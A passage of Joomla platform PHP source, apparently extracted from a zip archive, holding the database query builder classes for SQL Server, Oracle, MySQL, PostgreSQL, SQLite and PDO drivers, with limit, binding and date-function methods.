if (!isset($cacheCols[$table])) { $cacheCols[$table] = $this->db->getTableColumns($table); } if ($this->join || $table != $alias) { foreach ($cacheCols[$table] as $name => $type) { $knownColumnsByAlias[$alias][] = $alias . '.' . $name; } } else { foreach ($cacheCols[$table] as $name => $type) { $knownColumnsByAlias[$alias][] = $name; } } } } } // Now we need to get all tables from any joins // Go through all joins and add them to the tables array if ($this->join) { foreach ($this->join as $join) { // Unquote and replace prefix $joinTbl = str_replace($nquotes, '', (string) $join); $joinTbl = str_replace("#__", $this->db->getPrefix(), $joinTbl); // Exclude subquery if (preg_match('/JOIN\s+(\w+)(?:\s+AS)?(?:\s+(\w+))?/i', $joinTbl, $matches)) { $table = $matches[1]; $alias = isset($matches[2]) ? $matches[2] : $table; // Chek if exists a wildcard with current alias table? if (in_array($alias, $wildcardTables, true)) { if (!isset($cacheCols[$table])) { $cacheCols[$table] = $this->db->getTableColumns($table); } foreach ($cacheCols[$table] as $name => $type) { $knownColumnsByAlias[$alias][] = $alias . '.' . $name; } } } } } } $selectExpression = implode(',', $selectColumns); // Split into the right columns $groupColumns = $this->splitSqlExpression(implode(',', $this->group->getElements())); // Remove column aliases from GROUP statement - SQLSRV does not support it foreach ($groupColumns as $i => $column) { $groupColumns[$i] = implode(' ', $column); $column = str_replace($nquotes, '', $groupColumns[$i]); if (isset($knownAliases[$column])) { // Be sure that this is not a valid column name if (!preg_match('/\b' . preg_quote($column, '/') . '\b/', $selectExpression)) { // Replace column alias by column expression $groupColumns[$i] = $knownAliases[$column]; } } } // Find all alias.* and fill with proper table column names foreach ($filteredColumns as $i => $column) { if (substr($column, -2) === '.*') { unset($filteredColumns[$i]); // Extract alias.* columns into GROUP BY statement $groupColumns = array_merge($groupColumns, $knownColumnsByAlias[substr($column, 0, -2)]); } } $groupColumns = array_merge($groupColumns, $filteredColumns); if ($this->order) { // Remove direction suffixes $dir = array(" DESC\v", " ASC\v"); $orderColumns = $this->splitSqlExpression(implode(',', $this->order->getElements())); foreach ($orderColumns as $i => $column) { $column = implode(' ', $column); $orderColumns[$i] = $column = trim(str_ireplace($dir, '', "$column\v"), "\v"); if (isset($knownAliases[str_replace($nquotes, '', $column)])) { unset($orderColumns[$i]); } if (str_ireplace($aFuncs, '', $column) != $column) { // Do not add aggregate expression unset($orderColumns[$i]); } } $groupColumns = array_merge($groupColumns, $orderColumns); } // Get a unique string of all column names that need to be included in the group statement $this->group = new JDatabaseQueryElement('GROUP BY', array_unique($groupColumns)); return $this; } /** * Return correct rand() function for MSSQL. * * Ensure that the rand() function is MSSQL compatible. * * Usage: * $query->Rand(); * * @return string The correct rand function. * * @since 3.5 */ public function Rand() { return ' NEWID() '; } } PK�\�(�� joomla/database/query/oracle.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Oracle Query Building Class. * * @since 3.0.0 */ class JDatabaseQueryOracle extends JDatabaseQueryPdo implements JDatabaseQueryPreparable, JDatabaseQueryLimitable { /** * @var integer The offset for the result set. * @since 3.0.0 */ protected $offset; /** * @var integer The limit for the result set. * @since 3.0.0 */ protected $limit; /** * @var array Bounded object array * @since 3.0.0 */ protected $bounded = array(); /** * Method to add a variable to an internal array that will be bound to a prepared SQL statement before query execution. Also * removes a variable that has been bounded from the internal bounded array when the passed in value is null. * * @param string|integer $key The key that will be used in your SQL query to reference the value. Usually of * the form ':key', but can also be an integer. * @param mixed &$value The value that will be bound. The value is passed by reference to support output * parameters such as those possible with stored procedures. * @param integer $dataType Constant corresponding to a SQL datatype. * @param integer $length The length of the variable. Usually required for OUTPUT parameters. * @param array $driverOptions Optional driver options to be used. * * @return JDatabaseQueryOracle * * @since 3.0.0 */ public function bind($key = null, &$value = null, $dataType = PDO::PARAM_STR, $length = 0, $driverOptions = array()) { // Case 1: Empty Key (reset $bounded array) if (empty($key)) { $this->bounded = array(); return $this; } // Case 2: Key Provided, null value (unset key from $bounded array) if (is_null($value)) { if (isset($this->bounded[$key])) { unset($this->bounded[$key]); } return $this; } $obj = new stdClass; $obj->value = &$value; $obj->dataType = $dataType; $obj->length = $length; $obj->driverOptions = $driverOptions; // Case 3: Simply add the Key/Value into the bounded array $this->bounded[$key] = $obj; return $this; } /** * Retrieves the bound parameters array when key is null and returns it by reference. If a key is provided then that item is * returned. * * @param mixed $key The bounded variable key to retrieve. * * @return mixed * * @since 3.0.0 */ public function &getBounded($key = null) { if (empty($key)) { return $this->bounded; } else { if (isset($this->bounded[$key])) { return $this->bounded[$key]; } } } /** * Clear data from the query or a specific clause of the query. * * @param string $clause Optionally, the name of the clause to clear, or nothing to clear the whole query. * * @return JDatabaseQueryOracle Returns this object to allow chaining. * * @since 3.0.0 */ public function clear($clause = null) { switch ($clause) { case null: $this->bounded = array(); break; } parent::clear($clause); return $this; } /** * Method to modify a query already in string format with the needed * additions to make the query limited to a particular number of * results, or start at a particular offset. This method is used * automatically by the __toString() method if it detects that the * query implements the JDatabaseQueryLimitable interface. * * @param string $query The query in string format * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return string * * @since 3.0.0 */ public function processLimit($query, $limit, $offset = 0) { // Check if we need to mangle the query. if ($limit || $offset) { $query = 'SELECT joomla2.* FROM ( SELECT joomla1.*, ROWNUM AS joomla_db_rownum FROM ( ' . $query . ' ) joomla1 ) joomla2'; // Check if the limit value is greater than zero. if ($limit > 0) { $query .= ' WHERE joomla2.joomla_db_rownum BETWEEN ' . ($offset + 1) . ' AND ' . ($offset + $limit); } else { // Check if there is an offset and then use this. if ($offset) { $query .= ' WHERE joomla2.joomla_db_rownum > ' . ($offset + 1); } } } return $query; } /** * Sets the offset and limit for the result set, if the database driver supports it. * * Usage: * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record) * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record) * * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return JDatabaseQueryOracle Returns this object to allow chaining. * * @since 3.0.0 */ public function setLimit($limit = 0, $offset = 0) { $this->limit = (int) $limit; $this->offset = (int) $offset; return $this; } } PK�\�K��� joomla/database/query/mysqli.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Query Building Class. * * @since 1.7.0 */ class JDatabaseQueryMysqli extends JDatabaseQuery implements JDatabaseQueryLimitable { /** * @var integer The offset for the result set. * @since 3.0.0 */ protected $offset; /** * @var integer The limit for the result set. * @since 3.0.0 */ protected $limit; /** * Magic function to convert the query to a string. * * @return string The completed query. * * @since 1.7.0 */ public function __toString() { switch ($this->type) { case 'select': if ($this->selectRowNumber) { $orderBy = $this->selectRowNumber['orderBy']; $tmpOffset = $this->offset; $tmpLimit = $this->limit; $this->offset = 0; $this->limit = 0; $tmpOrder = $this->order; $this->order = null; $query = parent::__toString(); $this->order = $tmpOrder; $this->offset = $tmpOffset; $this->limit = $tmpLimit; // Add support for second order by, offset and limit $query = PHP_EOL . 'SELECT * FROM (' . $query . PHP_EOL . "ORDER BY $orderBy" . PHP_EOL . ') w'; if ($this->order) { $query .= (string) $this->order; } return $this->processLimit($query, $this->limit, $this->offset); } } return parent::__toString(); } /** * Method to modify a query already in string format with the needed * additions to make the query limited to a particular number of * results, or start at a particular offset. * * @param string $query The query in string format * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return string * * @since 3.0.0 */ public function processLimit($query, $limit, $offset = 0) { if ($limit > 0 && $offset > 0) { $query .= ' LIMIT ' . $offset . ', ' . $limit; } elseif ($limit > 0) { $query .= ' LIMIT ' . $limit; } return $query; } /** * Concatenates an array of column names or values. * * @param array $values An array of values to concatenate. * @param string $separator As separator to place between each value. * * @return string The concatenated values. * * @since 1.7.0 */ public function concatenate($values, $separator = null) { if ($separator) { $concat_string = 'CONCAT_WS(' . $this->quote($separator); foreach ($values as $value) { $concat_string .= ', ' . $value; } return $concat_string . ')'; } else { return 'CONCAT(' . implode(',', $values) . ')'; } } /** * Sets the offset and limit for the result set, if the database driver supports it. * * Usage: * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record) * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record) * * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.0.0 */ public function setLimit($limit = 0, $offset = 0) { $this->limit = (int) $limit; $this->offset = (int) $offset; return $this; } /** * Return correct regexp operator for mysqli. * * Ensure that the regexp operator is mysqli compatible. * * Usage: * $query->where('field ' . $query->regexp($search)); * * @param string $value The regex pattern. * * @return string Returns the regex operator. * * @since 1.7.3 */ public function regexp($value) { return ' REGEXP ' . $value; } /** * Return correct rand() function for Mysql. * * Ensure that the rand() function is Mysql compatible. * * Usage: * $query->Rand(); * * @return string The correct rand function. * * @since 3.5 */ public function Rand() { return ' RAND() '; } /** * Return the number of the current row. * * @param string $orderBy An expression of ordering for window function. * @param string $orderColumnAlias An alias for new ordering column. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.7.0 * @throws RuntimeException */ public function selectRowNumber($orderBy, $orderColumnAlias) { $this->validateRowNumber($orderBy, $orderColumnAlias); $this->select("(SELECT @rownum := @rownum + 1 FROM (SELECT @rownum := 0) AS r) AS $orderColumnAlias"); return $this; } /** * Casts a value to a char. * * Ensure that the value is properly quoted before passing to the method. * * Usage: * $query->select($query->castAsChar('a')); * $query->select($query->castAsChar('a', 40)); * * @param string $value The value to cast as a char. * * @param string $len The length of the char. * * @return string Returns the cast value. * * @since 3.7.0 */ public function castAsChar($value, $len = null) { if (!$len) { return $value; } else { return ' CAST(' . $value . ' AS CHAR(' . $len . '))'; } } } PK�\�f2ppjoomla/database/query/pgsql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PDO PostgreSQL Query Building Class. * * @since 3.9.0 */ class JDatabaseQueryPgsql extends JDatabaseQueryPostgresql implements JDatabaseQueryPreparable { /** * Holds key / value pair of bound objects. * * @var mixed * @since 3.9.0 */ protected $bounded = array(); /** * Method to add a variable to an internal array that will be bound to a prepared SQL statement before query execution. Also * removes a variable that has been bounded from the internal bounded array when the passed in value is null. * * @param string|integer $key The key that will be used in your SQL query to reference the value. Usually of * the form ':key', but can also be an integer. * @param mixed &$value The value that will be bound. The value is passed by reference to support output * parameters such as those possible with stored procedures. * @param integer $dataType Constant corresponding to a SQL datatype. * @param integer $length The length of the variable. Usually required for OUTPUT parameters. * @param array $driverOptions Optional driver options to be used. * * @return JDatabaseQueryPgsql * * @since 3.9.0 */ public function bind($key = null, &$value = null, $dataType = PDO::PARAM_STR, $length = 0, $driverOptions = array()) { // Case 1: Empty Key (reset $bounded array) if (empty($key)) { $this->bounded = array(); return $this; } // Case 2: Key Provided, null value (unset key from $bounded array) if (is_null($value)) { if (isset($this->bounded[$key])) { unset($this->bounded[$key]); } return $this; } $obj = new stdClass; $obj->value = &$value; $obj->dataType = $dataType; $obj->length = $length; $obj->driverOptions = $driverOptions; // Case 3: Simply add the Key/Value into the bounded array $this->bounded[$key] = $obj; return $this; } /** * Retrieves the bound parameters array when key is null and returns it by reference. If a key is provided then that item is * returned. * * @param mixed $key The bounded variable key to retrieve. * * @return mixed * * @since 3.9.0 */ public function &getBounded($key = null) { if (empty($key)) { return $this->bounded; } if (isset($this->bounded[$key])) { return $this->bounded[$key]; } } /** * Clear data from the query or a specific clause of the query. * * @param string $clause Optionally, the name of the clause to clear, or nothing to clear the whole query. * * @return JDatabaseQueryPgsql Returns this object to allow chaining. * * @since 3.9.0 */ public function clear($clause = null) { switch ($clause) { case null: $this->bounded = array(); break; } return parent::clear($clause); } } PK�\�b�pBB$joomla/database/query/postgresql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Query Building Class. * * @since 1.7.3 * @deprecated 4.0 Use PDO PostgreSQL instead */ class JDatabaseQueryPostgresql extends JDatabaseQuery implements JDatabaseQueryLimitable { /** * @var object The FOR UPDATE element used in "FOR UPDATE" lock * @since 1.7.3 */ protected $forUpdate = null; /** * @var object The FOR SHARE element used in "FOR SHARE" lock * @since 1.7.3 */ protected $forShare = null; /** * @var object The NOWAIT element used in "FOR SHARE" and "FOR UPDATE" lock * @since 1.7.3 */ protected $noWait = null; /** * @var object The LIMIT element * @since 1.7.3 */ protected $limit = null; /** * @var object The OFFSET element * @since 1.7.3 */ protected $offset = null; /** * @var object The RETURNING element of INSERT INTO * @since 1.7.3 */ protected $returning = null; /** * Magic function to convert the query to a string, only for postgresql specific query * * @return string The completed query. * * @since 1.7.3 */ public function __toString() { $query = ''; switch ($this->type) { case 'select': if ($this->selectRowNumber && $this->selectRowNumber['native'] === false) { // Workaround for postgresql version less than 8.4.0 try { $this->db->setQuery('CREATE TEMP SEQUENCE ROW_NUMBER'); $this->db->execute(); } catch (JDatabaseExceptionExecuting $e) { // Do nothing, sequence exists } $orderBy = $this->selectRowNumber['orderBy']; $orderColumnAlias = $this->selectRowNumber['orderColumnAlias']; $columns = "nextval('ROW_NUMBER') - 1 AS $orderColumnAlias"; if ($this->select === null) { $query = PHP_EOL . "SELECT 1" . (string) $this->from . (string) $this->where; } else { $tmpOffset = $this->offset; $tmpLimit = $this->limit; $this->offset = 0; $this->limit = 0; $tmpOrder = $this->order; $this->order = null; $query = parent::__toString(); $columns = "w.*, $columns"; $this->order = $tmpOrder; $this->offset = $tmpOffset; $this->limit = $tmpLimit; } // Add support for second order by, offset and limit $query = PHP_EOL . "SELECT $columns FROM (" . $query . PHP_EOL . "ORDER BY $orderBy" . PHP_EOL . ") w,(SELECT setval('ROW_NUMBER', 1)) AS r"; if ($this->order) { $query .= (string) $this->order; } break; } $query .= (string) $this->select; $query .= (string) $this->from; if ($this->join) { // Special case for joins foreach ($this->join as $join) { $query .= (string) $join; } } if ($this->where) { $query .= (string) $this->where; } if ($this->selectRowNumber) { if ($this->order) { $query .= (string) $this->order; } break; } if ($this->group) { $query .= (string) $this->group; } if ($this->having) { $query .= (string) $this->having; } if ($this->order) { $query .= (string) $this->order; } if ($this->forUpdate) { $query .= (string) $this->forUpdate; } else { if ($this->forShare) { $query .= (string) $this->forShare; } } if ($this->noWait) { $query .= (string) $this->noWait; } break; case 'update': $query .= (string) $this->update; $query .= (string) $this->set; if ($this->join) { $tmpFrom = $this->from; $tmpWhere = $this->where ? clone $this->where : null; $this->from = null; // Workaround for special case of JOIN with UPDATE foreach ($this->join as $join) { $joinElem = $join->getElements(); $joinArray = preg_split('/\sON\s/i', $joinElem[0]); if (count($joinArray) > 2) { $condition = array_pop($joinArray); $joinArray = array(implode(' ON ', $joinArray), $condition); } $this->from($joinArray[0]); if (isset($joinArray[1])) { $this->where($joinArray[1]); } } $query .= (string) $this->from; if ($this->where) { $query .= (string) $this->where; } $this->from = $tmpFrom; $this->where = $tmpWhere; } elseif ($this->where) { $query .= (string) $this->where; } break; case 'insert': $query .= (string) $this->insert; if ($this->values) { if ($this->columns) { $query .= (string) $this->columns; } $elements = $this->values->getElements(); if (!($elements[0] instanceof $this)) { $query .= ' VALUES '; } $query .= (string) $this->values; if ($this->returning) { $query .= (string) $this->returning; } } break; default: $query = parent::__toString(); break; } if ($this instanceof JDatabaseQueryLimitable) { $query = $this->processLimit($query, $this->limit, $this->offset); } return $query; } /** * Clear data from the query or a specific clause of the query. * * @param string $clause Optionally, the name of the clause to clear, or nothing to clear the whole query. * * @return JDatabaseQueryPostgresql Returns this object to allow chaining. * * @since 1.7.3 */ public function clear($clause = null) { switch ($clause) { case 'limit': $this->limit = null; break; case 'offset': $this->offset = null; break; case 'forUpdate': $this->forUpdate = null; break; case 'forShare': $this->forShare = null; break; case 'noWait': $this->noWait = null; break; case 'returning': $this->returning = null; break; case 'select': case 'update': case 'delete': case 'insert': case 'from': case 'join': case 'set': case 'where': case 'group': case 'having': case 'order': case 'columns': case 'values': parent::clear($clause); break; default: $this->type = null; $this->limit = null; $this->offset = null; $this->forUpdate = null; $this->forShare = null; $this->noWait = null; $this->returning = null; parent::clear($clause); break; } return $this; } /** * Casts a value to a char. * * Ensure that the value is properly quoted before passing to the method. * * Usage: * $query->select($query->castAsChar('a')); * $query->select($query->castAsChar('a', 40)); * * @param string $value The value to cast as a char. * * @param string $len The length of the char. * * @return string Returns the cast value. * * @since 1.7.3 */ public function castAsChar($value, $len = null) { if (!$len) { return $value . '::text'; } else { return ' CAST(' . $value . ' AS CHAR(' . $len . '))'; } } /** * Concatenates an array of column names or values. * * Usage: * $query->select($query->concatenate(array('a', 'b'))); * * @param array $values An array of values to concatenate. * @param string $separator As separator to place between each value. * * @return string The concatenated values. * * @since 1.7.3 */ public function concatenate($values, $separator = null) { if ($separator) { return implode(' || ' . $this->quote($separator) . ' || ', $values); } else { return implode(' || ', $values); } } /** * Gets the current date and time. * * @return string Return string used in query to obtain * * @since 1.7.3 */ public function currentTimestamp() { return 'NOW()'; } /** * Sets the FOR UPDATE lock on select's output row * * @param string $tableName The table to lock * @param string $glue The glue by which to join the conditions. Defaults to ',' . * * @return JDatabaseQueryPostgresql FOR UPDATE query element * * @since 1.7.3 */ public function forUpdate($tableName, $glue = ',') { $this->type = 'forUpdate'; if (is_null($this->forUpdate)) { $glue = strtoupper($glue); $this->forUpdate = new JDatabaseQueryElement('FOR UPDATE', 'OF ' . $tableName, "$glue "); } else { $this->forUpdate->append($tableName); } return $this; } /** * Sets the FOR SHARE lock on select's output row * * @param string $tableName The table to lock * @param string $glue The glue by which to join the conditions. Defaults to ',' . * * @return JDatabaseQueryPostgresql FOR SHARE query element * * @since 1.7.3 */ public function forShare($tableName, $glue = ',') { $this->type = 'forShare'; if (is_null($this->forShare)) { $glue = strtoupper($glue); $this->forShare = new JDatabaseQueryElement('FOR SHARE', 'OF ' . $tableName, "$glue "); } else { $this->forShare->append($tableName); } return $this; } /** * Used to get a string to extract year from date column. * * Usage: * $query->select($query->year($query->quoteName('dateColumn'))); * * @param string $date Date column containing year to be extracted. * * @return string Returns string to extract year from a date. * * @since 3.0.0 */ public function year($date) { return 'EXTRACT (YEAR FROM ' . $date . ')'; } /** * Used to get a string to extract month from date column. * * Usage: * $query->select($query->month($query->quoteName('dateColumn'))); * * @param string $date Date column containing month to be extracted. * * @return string Returns string to extract month from a date. * * @since 3.0.0 */ public function month($date) { return 'EXTRACT (MONTH FROM ' . $date . ')'; } /** * Used to get a string to extract day from date column. * * Usage: * $query->select($query->day($query->quoteName('dateColumn'))); * * @param string $date Date column containing day to be extracted. * * @return string Returns string to extract day from a date. * * @since 3.0.0 */ public function day($date) { return 'EXTRACT (DAY FROM ' . $date . ')'; } /** * Used to get a string to extract hour from date column. * * Usage: * $query->select($query->hour($query->quoteName('dateColumn'))); * * @param string $date Date column containing hour to be extracted. * * @return string Returns string to extract hour from a date. * * @since 3.0.0 */ public function hour($date) { return 'EXTRACT (HOUR FROM ' . $date . ')'; } /** * Used to get a string to extract minute from date column. * * Usage: * $query->select($query->minute($query->quoteName('dateColumn'))); * * @param string $date Date column containing minute to be extracted. * * @return string Returns string to extract minute from a date. * * @since 3.0.0 */ public function minute($date) { return 'EXTRACT (MINUTE FROM ' . $date . ')'; } /** * Used to get a string to extract seconds from date column. * * Usage: * $query->select($query->second($query->quoteName('dateColumn'))); * * @param string $date Date column containing second to be extracted. * * @return string Returns string to extract second from a date. * * @since 3.0.0 */ public function second($date) { return 'EXTRACT (SECOND FROM ' . $date . ')'; } /** * Sets the NOWAIT lock on select's output row * * @return JDatabaseQueryPostgresql NO WAIT query element * * @since 1.7.3 */ public function noWait () { $this->type = 'noWait'; if (is_null($this->noWait)) { $this->noWait = new JDatabaseQueryElement('NOWAIT', null); } return $this; } /** * Set the LIMIT clause to the query * * @param integer $limit An int of how many row will be returned * * @return JDatabaseQueryPostgresql Returns this object to allow chaining. * * @since 1.7.3 */ public function limit($limit = 0) { if (is_null($this->limit)) { $this->limit = new JDatabaseQueryElement('LIMIT', (int) $limit); } return $this; } /** * Set the OFFSET clause to the query * * @param integer $offset An int for skipping row * * @return JDatabaseQueryPostgresql Returns this object to allow chaining. * * @since 1.7.3 */ public function offset($offset = 0) { if (is_null($this->offset)) { $this->offset = new JDatabaseQueryElement('OFFSET', (int) $offset); } return $this; } /** * Add the RETURNING element to INSERT INTO statement. * * @param mixed $pkCol The name of the primary key column. * * @return JDatabaseQueryPostgresql Returns this object to allow chaining. * * @since 1.7.3 */ public function returning($pkCol) { if (is_null($this->returning)) { $this->returning = new JDatabaseQueryElement('RETURNING', $pkCol); } return $this; } /** * Sets the offset and limit for the result set, if the database driver supports it. * * Usage: * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record) * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record) * * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return JDatabaseQueryPostgresql Returns this object to allow chaining. * * @since 3.0.0 */ public function setLimit($limit = 0, $offset = 0) { $this->limit = (int) $limit; $this->offset = (int) $offset; return $this; } /** * Method to modify a query already in string format with the needed * additions to make the query limited to a particular number of * results, or start at a particular offset. * * @param string $query The query in string format * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return string * * @since 3.0.0 */ public function processLimit($query, $limit, $offset = 0) { if ($limit > 0) { $query .= ' LIMIT ' . $limit; } if ($offset > 0) { $query .= ' OFFSET ' . $offset; } return $query; } /** * Add to the current date and time in Postgresql. * Usage: * $query->select($query->dateAdd()); * Prefixing the interval with a - (negative sign) will cause subtraction to be used. * * @param string $date The db quoted string representation of the date to add to * @param string $interval The string representation of the appropriate number of units * @param string $datePart The part of the date to perform the addition on * * @return string The string with the appropriate sql for addition of dates * * @since 3.2.0 * @note Not all drivers support all units. Check appropriate references * @link http://www.postgresql.org/docs/9.0/static/functions-datetime.html. */ public function dateAdd($date, $interval, $datePart) { if (substr($interval, 0, 1) != '-') { return "timestamp " . $date . " + interval '" . $interval . " " . $datePart . "'"; } else { return "timestamp " . $date . " - interval '" . ltrim($interval, '-') . " " . $datePart . "'"; } } /** * Return correct regexp operator for Postgresql. * * Ensure that the regexp operator is Postgresql compatible. * * Usage: * $query->where('field ' . $query->regexp($search)); * * @param string $value The regex pattern. * * @return string Returns the regex operator. * * @since 1.7.3 */ public function regexp($value) { return ' ~* ' . $value; } /** * Return correct rand() function for Postgresql. * * Ensure that the rand() function is Postgresql compatible. * * Usage: * $query->Rand(); * * @return string The correct rand function. * * @since 3.5 */ public function Rand() { return ' RANDOM() '; } /** * Return the number of the current row. * * @param string $orderBy An expression of ordering for window function. * @param string $orderColumnAlias An alias for new ordering column. * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.7.0 * @throws RuntimeException */ public function selectRowNumber($orderBy, $orderColumnAlias) { $this->validateRowNumber($orderBy, $orderColumnAlias); if (version_compare($this->db->getVersion(), '8.4.0') >= 0) { $this->selectRowNumber['native'] = true; $this->select("ROW_NUMBER() OVER (ORDER BY $orderBy) AS $orderColumnAlias"); } else { $this->selectRowNumber['native'] = false; } return $this; } } PK�\a{��#joomla/database/query/limitable.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Database Query Limitable Interface. * Adds bind/unbind methods as well as a getBounded() method * to retrieve the stored bounded variables on demand prior to * query execution. * * @since 3.0.0 */ interface JDatabaseQueryLimitable { /** * Method to modify a query already in string format with the needed * additions to make the query limited to a particular number of * results, or start at a particular offset. This method is used * automatically by the __toString() method if it detects that the * query implements the JDatabaseQueryLimitable interface. * * @param string $query The query in string format * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return string * * @since 3.0.0 */ public function processLimit($query, $limit, $offset = 0); /** * Sets the offset and limit for the result set, if the database driver supports it. * * Usage: * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record) * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record) * * @param integer $limit The limit for the result set * @param integer $offset The offset for the result set * * @return JDatabaseQuery Returns this object to allow chaining. * * @since 3.0.0 */ public function setLimit($limit = 0, $offset = 0); } PK�\M��o��joomla/database/query/mysql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Query Building Class. * * @since 1.7.0 * @deprecated 4.0 Use MySQLi or PDO MySQL instead */ class JDatabaseQueryMysql extends JDatabaseQueryMysqli { } PK�\(��!��"joomla/database/query/pdomysql.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Query Building Class. * * @package Joomla.Platform * @subpackage Database * @since 3.4 */ class JDatabaseQueryPdomysql extends JDatabaseQueryMysqli { } PK�\݇�Ew w !joomla/database/query/element.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Query Element Class. * * @property-read string $name The name of the element. * @property-read array $elements An array of elements. * @property-read string $glue Glue piece. * * @since 1.7.0 */ class JDatabaseQueryElement { /** * @var string The name of the element. * @since 1.7.0 */ protected $name = null; /** * @var array An array of elements. * @since 1.7.0 */ protected $elements = null; /** * @var string Glue piece. * @since 1.7.0 */ protected $glue = null; /** * Constructor. * * @param string $name The name of the element. * @param mixed $elements String or array. * @param string $glue The glue for elements. * * @since 1.7.0 */ public function __construct($name, $elements, $glue = ',') { $this->elements = array(); $this->name = $name; $this->glue = $glue; $this->append($elements); } /** * Magic function to convert the query element to a string. * * @return string * * @since 1.7.0 */ public function __toString() { if (substr($this->name, -2) == '()') { return PHP_EOL . substr($this->name, 0, -2) . '(' . implode($this->glue, $this->elements) . ')'; } else { return PHP_EOL . $this->name . ' ' . implode($this->glue, $this->elements); } } /** * Appends element parts to the internal list. * * @param mixed $elements String or array. * * @return void * * @since 1.7.0 */ public function append($elements) { if (is_array($elements)) { $this->elements = array_merge($this->elements, $elements); } else { $this->elements[] = $elements; } } /** * Gets the elements of this element. * * @return array * * @since 1.7.0 */ public function getElements() { return $this->elements; } /** * Sets the name of this element. * * @param string $name Name of the element. * * @return JDatabaseQueryElement Returns this object to allow chaining. * * @since 3.6 */ public function setName($name) { $this->name = $name; return $this; } /** * Method to provide deep copy support to nested objects and arrays * when cloning. * * @return void * * @since 1.7.3 */ public function __clone() { foreach ($this as $k => $v) { if (is_object($v) || is_array($v)) { $this->{$k} = unserialize(serialize($v)); } } } } PK�\{ɬ�++"joomla/database/query/sqlazure.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Query Building Class. * * @since 1.7.0 */ class JDatabaseQuerySqlazure extends JDatabaseQuerySqlsrv { /** * The character(s) used to quote SQL statement names such as table names or field names, * etc. The child classes should define this as necessary. If a single character string the * same character is used for both sides of the quoted name, else the first character will be * used for the opening quote and the second for the closing quote. * * @var string * * @since 1.7.0 */ protected $name_quotes = ''; } PK�\w����joomla/database/query/pdo.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * PDO Query Building Class. * * @since 3.0.0 */ class JDatabaseQueryPdo extends JDatabaseQuery { /** * Casts a value to a char. * * Ensure that the value is properly quoted before passing to the method. * * Usage: * $query->select($query->castAsChar('a')); * $query->select($query->castAsChar('a', 40)); * * @param string $value The value to cast as a char. * * @param string $len The length of the char. * * @return string Returns the cast value. * * @since 1.7.0 */ public function castAsChar($value, $len = null) { if (!$len) { return $value; } else { return ' CAST(' . $value . ' AS CHAR(' . $len . '))'; } } } PK�\��w�(�( joomla/database/query/sqlite.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * SQLite Query Building Class. * * @since 3.0.0 */ class JDatabaseQuerySqlite extends JDatabaseQueryPdo implements JDatabaseQueryPreparable, JDatabaseQueryLimitable { /** * @var integer The offset for the result set. * @since 3.0.0 */ protected $offset; /** * @var integer The limit for the result set. * @since 3.0.0 */ protected $limit; /** * @var array Bounded object array * @since 3.0.0 */ protected $bounded = array(); /** * Method to add a variable to an internal array that will be bound to a prepared SQL statement before query execution. Also * removes a variable that has been bounded from the internal bounded array when the passed in value is null. * * @param string|integer $key The key that will be used in your SQL query to reference the value. Usually of * the form ':key', but can also be an integer. * @param mixed &$value The value that will be bound. The value is passed by reference to support output * parameters such as those possible with stored procedures. * @param integer $dataType Constant corresponding to a SQL datatype. * @param integer $length The length of the variable. Usually required for OUTPUT parameters. * @param array $driverOptions Optional driver options to be used. * * @return 